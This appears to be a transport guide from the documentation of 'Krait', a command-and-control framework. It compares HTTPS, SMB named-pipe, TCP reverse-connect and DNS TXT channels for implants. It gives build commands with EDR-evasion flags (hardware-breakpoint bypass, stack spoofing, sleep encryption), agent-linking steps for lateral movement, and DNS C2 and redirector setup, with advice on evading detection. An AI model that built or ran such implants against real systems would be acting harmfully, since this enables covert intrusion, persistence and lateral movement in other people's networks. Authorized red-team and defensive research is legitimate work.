Transport Guide

Krait supports four transport protocols. Each has different OPSEC characteristics, network requirements, and use cases.

Decision Tree

Need to reach the C2 server directly?
├── Yes → Internet-facing target?
│   ├── Yes → HTTPS (with redirector + traffic profile)
│   └── No → HTTPS (direct, lab/internal)
└── No → Target can reach another Krait agent?
    ├── Yes → Is SMB (445) open between hosts?
    │   ├── Yes → SMB named pipe
    │   └── No → TCP reverse connect
    └── No → Only DNS egress allowed?
        ├── Yes → DNS (TXT records)
        └── No → Reassess network topology

HTTPS

The default and most capable transport. Uses raw sockets with Schannel TLS — no WinHTTP dependency.

Build (CLI):

krait> build windows -s <IP> -p 8443

Build (Web UI): Navigate to Build → select Windows → set server and port → build.

OPSEC characteristics:

• TLS encrypted — content is opaque to network inspection without TLS termination
• Blends with normal web traffic, especially with --profile traffic mimicry
• No WinHTTP imports (uses Schannel directly) — avoids winhttp.dll import detection
• All TLS buffers are caller-controlled — fully zeroable during Ekko sleep
• Supports redirectors (nginx) for IP concealment and geo-filtering

When to use:

• Default choice for any engagement
• External targets with internet egress
• Any scenario where HTTP/HTTPS egress is allowed

When NOT to use:

• Hosts behind strict egress filtering that blocks all HTTPS except to known domains (consider domain fronting or DNS transport)

Recommended flags:

krait> build windows -s <IP> -p 8443 \
    --hwbp-bypass --stack-spoof --stack-encrypt --profile slack

SMB (Named Pipe)

Parent-child pivoting over SMB named pipes. The child agent communicates exclusively through the parent — no direct internet access required.

Build (CLI):

krait> build windows -s <IP> -p 8443 \
    --transport smb --pipe-name krait_pipe

Build (Web UI): Navigate to Build → select Windows → set transport to SMB → set pipe name → build.

OPSEC characteristics:

• No new outbound connections from the child host
• Traffic rides existing SMB sessions (port 445)
• Named pipe name is configurable — avoid obvious names
• The parent agent relays all tasks and results

When to use:

• Internal lateral movement where the child host can’t reach the C2 directly
• Segmented networks where only specific hosts have egress
• Reducing the number of hosts making external connections

When NOT to use:

• Cross-subnet pivoting where SMB (445) is firewalled
• If the named pipe name would stand out under pipe enumeration

Linking:

# On the parent agent
krait [parent]> link <child_host> krait_pipe

TCP

TCP reverse connect transport. The child connects back to a listening parent on a specified port.

Build (CLI):

krait> build windows -s <IP> -p 8443 \
    --transport tcp --tcp-host <PARENT_IP> --tcp-port 4444

Build (Web UI): Navigate to Build → select Windows → set transport to TCP → set TCP host and port → build.

OPSEC characteristics:

• Raw TCP — no application-layer protocol overhead
• Custom port — choose something that blends (443, 8080, etc.)
• Unencrypted at the transport layer (task payloads are already encrypted)

When to use:

• Internal pivoting when SMB (445) is blocked between subnets
• When you need a simpler protocol than SMB
• Linux-to-Windows pivoting scenarios (future cross-platform)

When NOT to use:

• External connections (no TLS, raw TCP is conspicuous)
• Networks with deep packet inspection on non-standard ports

Linking:

# On the parent agent
krait [parent]> tcp-link 4444

DNS

DNS TXT record-based C2 transport. Commands and results are encoded in DNS queries and responses.

Build (CLI):

krait> build windows -s <IP> -p 8443 \
    --transport dns --dns-domain c2.example.com --dns-server <IP>

Build (Web UI): Navigate to Build → select Windows → set transport to DNS → set domain and DNS server → build.

OPSEC characteristics:

• DNS traffic is rarely blocked — works even in highly restricted networks
• Slow: limited by DNS response size (~255 bytes per TXT record) and query rate
• High volume of DNS queries may trigger anomaly detection
• Requires a domain with NS records pointing to your DNS listener

When to use:

• Last resort when all other egress is blocked
• Highly restricted environments (air-gapped networks with DNS forwarding)
• Long-dwell, low-and-slow operations where bandwidth isn’t critical

When NOT to use:

• Any scenario where HTTPS is available (DNS is significantly slower)
• High-bandwidth operations (file transfer, streaming output)
• Networks with DNS anomaly detection (e.g., high query volume alerting)

Server setup:

# Start server with DNS listener
./server/krait-server server start --port 8443 \
    --dns-domain c2.example.com --dns-port 53

# Generate redirector config (CLI)
krait> redirector dns --domain c2.example.com --backend <C2_IP> --output redirector/

Required DNS infrastructure:

1. Register a domain (e.g., example.com)
2. Create an NS record pointing a subdomain to your server: c2.example.com NS ns1.example.com
3. Create an A record for the NS server: ns1.example.com A <YOUR_IP>

Peer Reconnection

SMB and TCP child agents support peer reconnection (--peer-reconnect build flag). If the parent agent dies, the child automatically falls back to direct HTTPS beaconing after a configurable timeout (default: 5 minutes).

krait> build windows -s <IP> -p 8443 \
    --transport smb --pipe-name krait_pipe --peer-reconnect

This ensures you don’t lose access to child agents if a parent is killed or migrated.

Transport Comparison

	HTTPS	SMB	TCP	DNS
Speed	Fast	Fast (via parent)	Fast	Slow
Encryption	TLS 1.2 (Schannel)	SMB encryption	None (task-level)	None (task-level)
Egress required	HTTPS (443/8443)	None (via parent)	Custom port	DNS (53)
Redirector support	Yes (nginx)	No	No	Yes (CoreDNS)
Traffic profiles	Yes	No	No	No
Peer reconnect	N/A (primary)	Yes	Yes	No
Best for	Primary agent	Internal pivot	Internal pivot	Restricted egress